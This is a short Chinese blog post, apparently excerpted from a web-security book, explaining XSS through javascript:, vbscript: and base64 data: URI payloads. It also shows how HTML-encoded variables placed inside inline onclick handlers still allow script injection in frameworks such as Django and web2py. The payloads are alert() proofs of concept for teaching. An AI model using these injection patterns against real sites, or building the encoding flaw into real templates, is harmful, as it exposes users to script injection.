利用僞協議與默認所有的變量都會被escape進行XSS

摘自《白帽子講Web安全》


<a href="javascript:alert(1);">test</a>
<IMG src='vbscript:msgbox("XSS")'>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">test</a>



python開發框架Django和web2py都選擇在View層默認HtmlEncode所有變量,但仍可能出現XSS:

栗子:

<body>
<a href=# onclick="alert('$var');">test</a>
</body>

如果用戶輸入:

$var = htmlencode("');alert('2");

對瀏覽器來說,htmlparser會優先於JavaScript Parser執行,所以解析過程是,被HtmlEncode的字符先被解碼,然後執行JavaScript事件。

<body>
<a href=# onclick="alert('');alert('2');">test</a>
</body>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章